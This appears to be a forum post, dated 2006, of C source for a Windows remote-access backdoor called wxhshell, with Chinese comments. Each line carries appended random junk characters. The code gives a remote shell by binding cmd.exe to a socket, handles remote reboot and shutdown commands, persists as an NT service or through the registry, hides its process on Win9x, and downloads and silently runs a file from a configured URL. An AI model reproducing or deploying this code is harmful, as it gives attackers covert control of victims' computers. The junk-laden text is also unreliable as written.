  case 'i': { R43yr+p  
    if(Install()) ^hpdre"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aQzu[N  
    else i"#36CVT~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P{'T9U|O-  
    break; (}E ] g  
    } }AZ0BI,TI  
  // 卸载 aMxg6\8  
  case 'r': { Q1?0R<jOU  
    if(Uninstall()) ~ .FZF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zB8 @Wl  
    else " ^t3VjN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u+&t"B  
    break; -UHa;W H  
    } @F+zME   
  // 显示 wxhshell 所在路径 7u9]BhcFv?  
  case 'p': { h=fzX .dt  
    char svExeFile[MAX_PATH]; efK|)_i :  
    strcpy(svExeFile,"\n\r"); u; c)T t  
      strcat(svExeFile,ExeFile); %9}5~VM"q  
        send(wsh,svExeFile,strlen(svExeFile),0); sNet[y:O3  
    break; /!V) 2j,  
    } l f<?k  
  // 重启 jO|D# nC  
  case 'b': { C6$F.v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4H<@da}  
    if(Boot(REBOOT)) .ykCmznf*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vS!%!-F  
    else { 7_HJ|QB  
    closesocket(wsh); Y5 BWg  
    ExitThread(0); N3_rqRd^  
    } ]dx6E6A,  
    break; OwdA6it^f  
    } B.e3IM0  
  // 关机 3C+!Y#F  
  case 'd': { qqmhh_[T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G,VTFM6  
    if(Boot(SHUTDOWN)) J FYV@%1~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iiWs]5  
    else { Znv3h  
    closesocket(wsh); xJQ-k/`  
    ExitThread(0); &2~c,] 9C  
    } O?6ph4'  
    break; 8"fZ>XQ  
    } tp6-j`7u  
  // 获取shell <B }4}-}  
  case 's': {  !e+^}s  
    CmdShell(wsh); O}Ipg[h  
    closesocket(wsh); xnBU)#<]S  
    ExitThread(0); 9`A}-YA !  
    break; ^#-i%V%  
  } B4hT(;k  
  // 退出 [VD)DO5  
  case 'x': { {Qe 7/ln!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VZ#@7t  
    CloseIt(wsh); %Sgdhgk1  
    break; tX<. Ud  
    } 2MV!@rx  
  // 离开 jkzC^aG  
  case 'q': { @v#]+9F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Uz;z  
    closesocket(wsh); Wfw6(L  
    WSACleanup(); {Q%"{h']  
    exit(1); 8lI'[Y?3.  
    break; H=_ Wio  
        } 6X2~30pdE  
  } 5IwQ <V  
  } WOv m%sX  
{^Y0kvnd  
  // 提示信息 *!~jHy8F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O&]P u5  
} ,?'":T1[  
  } cZ<@1I5QK  
>=T\=y  
  return; &Z.zem?n  
} l8$7N=Y  
bv%A;  
// shell模块句柄 %,Pwo{SH  
int CmdShell(SOCKET sock) ySS kw7  
{ uxxS."~  
STARTUPINFO si; e\9H'$1\  
ZeroMemory(&si,sizeof(si)); UBgheu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xy0KZ !  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZwC\n(_y  
PROCESS_INFORMATION ProcessInfo; ;Q1/53Y<  
char cmdline[]="cmd"; w9Eb\An  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MPexc5_  
  return 0; m(CbMu  
} 6 4fB$  
l]bCt b%_  
// 自身启动模式 shn{]Y  
int StartFromService(void) @TvoCDeI  
{ 8 [z<gxP`?  
typedef struct K}r@O"6*\  
{ |i}5vT78  
  DWORD ExitStatus; _ ?\4k{ET  
  DWORD PebBaseAddress; O%>FKU>(?  
  DWORD AffinityMask; R*DQm  
  DWORD BasePriority; 3U_,4qf  
  ULONG UniqueProcessId; !oJ226>WI  
  ULONG InheritedFromUniqueProcessId; jkN-(v(T  
}   PROCESS_BASIC_INFORMATION; +Kw&XRA d  
AUan^Om  
PROCNTQSIP NtQueryInformationProcess; -F]0Py8(  
FL,av>mV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l'K3)yQEJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YFGQPg  
OYj4G ?c  
  HANDLE             hProcess; VSxls  
  PROCESS_BASIC_INFORMATION pbi; snl$v  
voD0 u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >h[ {_+  
  if(NULL == hInst ) return 0; wG, "ZN  
S~Z`?qHWh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pE^jUxk6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "1-|ahW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `:4\RcTb/  
[i  ]  
  if (!NtQueryInformationProcess) return 0; Q9\6Pn ]T  
,.g9HO/R1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ssWSY(j]  
  if(!hProcess) return 0; x}c%8dO#J  
aS7%x>.A!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x+X^K_*  
Y!+q3`-%T  
  CloseHandle(hProcess); q%RPA e  
E&RiEhuv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Xke26ga  
if(hProcess==NULL) return 0; T VuDK  
"%,KZI  
HMODULE hMod; K<3$>/|  
char procName[255]; ~@v<B I  
unsigned long cbNeeded; ?)60JWOJ1  
#wvmVB.5~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :'t+*{ff  
W{{{c2 .  
  CloseHandle(hProcess); VkD8h+)  
=` %iv|>r0  
if(strstr(procName,"services")) return 1; // 以服务启动 _F"o0K!u  
'u%;5;%2  
  return 0; // 注册表启动 <21@jdu3n,  
} 5W(S~}  
ToNRY<!  
// 主模块 h|DKD.  
int StartWxhshell(LPSTR lpCmdLine) -%h0`hOG{  
{ 60A E~  
  SOCKET wsl; UP*\p79oO  
BOOL val=TRUE; nj@l5[  
  int port=0; +dt b~M  
  struct sockaddr_in door; !OO{qw(*g  
ckZZ)lW`*  
  if(wscfg.ws_autoins) Install(); r2Wx31j{  
>`@c9 m  
port=atoi(lpCmdLine); tR;? o,T  
s*XwU  
if(port<=0) port=wscfg.ws_port; b')Lj]%;k  
=,UuQJ,l  
  WSADATA data; l5}b.B^w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rzolue 8  
,%L>TD'48s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <gdKuoY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p-6(>,+E[  
  door.sin_family = AF_INET; T9N&Nh7 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ao%;!(\I%  
  door.sin_port = htons(port); `2j \(N,  
nCj_4,O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9aE.jpN  
closesocket(wsl); T\Zq/Z\  
return 1; |.s#m^"  
} RCS91[  
f a9n6uT  
  if(listen(wsl,2) == INVALID_SOCKET) { cITF=Ez  
closesocket(wsl); "n4' \ig  
return 1; S!/N lSr<  
} &)8-iO  
  Wxhshell(wsl); Gm]]Z_  
  WSACleanup(); T{L{<+9%  
SiM1Go}#  
return 0; @_O,0d g  
XyS|7#o  
} _QhB0/C  
xEA%UFB.!G  
// 以NT服务方式启动 p PF]&:&-b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l9 K 3E<g  
{ <IX)D `mf  
DWORD   status = 0; }-e  
  DWORD   specificError = 0xfffffff; ~[|zf*ZISG  
s`bC?wr5h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A(xCW+h@)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (4U59<ie  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ix"hl0Kh  
  serviceStatus.dwWin32ExitCode     = 0; )ZU=`!4  
  serviceStatus.dwServiceSpecificExitCode = 0; T}?vp~./   
  serviceStatus.dwCheckPoint       = 0; w'Kc#2  
  serviceStatus.dwWaitHint       = 0; ddR_+B*H  
w84 ] s%y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CD]2a@j {  
  if (hServiceStatusHandle==0) return; wc-ll&0Z  
ql Uw;{;p  
status = GetLastError(); 7jb{E+DrG  
  if (status!=NO_ERROR) &I[ITp6y 0  
{ I3 %P_oW'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +dkbt%7M  
    serviceStatus.dwCheckPoint       = 0; )BuS'oB  
    serviceStatus.dwWaitHint       = 0;  n(mS  
    serviceStatus.dwWin32ExitCode     = status; }> 51oBgk_  
    serviceStatus.dwServiceSpecificExitCode = specificError; e<wRA["  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0P5!fXs*  
    return; 9}4EW4  
  } )6S;w7  
rQncW~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S+i .@N.^  
  serviceStatus.dwCheckPoint       = 0; pvz*(u  
  serviceStatus.dwWaitHint       = 0; yrDWIU(8;6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -V'`;zE6  
} yqg&dq  
No\H QQ  
// 处理NT服务事件,比如:启动、停止 [ imC21U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,sAN,?eG~  
{ [n`SXBi+n  
switch(fdwControl) X9:(}=E V  
{ &wZ ggp  
case SERVICE_CONTROL_STOP: I<w`+<o(  
  serviceStatus.dwWin32ExitCode = 0; 8Ee bWs*1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6zQ {Y"0  
  serviceStatus.dwCheckPoint   = 0; A%VBBvk  
  serviceStatus.dwWaitHint     = 0; ;x[F4d  
  { q4k)E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]~,V(K  
  } mErXdb|L  
  return; "EoC7 1  
case SERVICE_CONTROL_PAUSE: 62BJ;/ ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }OeEv@^  
  break; dYg}qad5:  
case SERVICE_CONTROL_CONTINUE: L`i#yXR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +s6 wF{  
  break; ${$XJs4  
case SERVICE_CONTROL_INTERROGATE: 2$D *~~  
  break; 5G~;g  
}; u_aln[oIv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dVDQ^O&  
} 9<An^lLK*  
/`iBv8!  
// 标准应用程序主函数 TA47lz q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7'[C+/:  
{ #]s>  
Z=O2tR  
// 获取操作系统版本 7Q<uk[d0  
OsIsNt=GetOsVer(); o6pnTu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TQ? D*&  
H=vrF-#  
  // 从命令行安装 DPfP)J:~  
  if(strpbrk(lpCmdLine,"iI")) Install(); nL}bCX{  
k'N `5M)  
  // 下载执行文件 U! F~><  
if(wscfg.ws_downexe) { b$sw`Rsw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `Z{kJMS  
  WinExec(wscfg.ws_filenam,SW_HIDE); r)|X?   
} &jgpeFiiC  
8#%p[TLj  
if(!OsIsNt) { $+IE`(Ckf  
// 如果时win9x,隐藏进程并且设置为注册表启动 z8 bDBoD6  
HideProc(); q+{-p?;;  
StartWxhshell(lpCmdLine); U[zY0B  
} \lKiUy/  
else ?Z@FxW  
  if(StartFromService()) XA~Rn>7&H  
  // 以服务方式启动 <zN  
  StartServiceCtrlDispatcher(DispatchTable); '0|AtO77  
else 4z-sR/d  
  // 普通方式启动 3G9YpA_}X  
  StartWxhshell(lpCmdLine); A>6 b 6  
N\<RQtDg  
return 0; [y y D-  
}
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只看该作者 1 发表于: 2006-10-10
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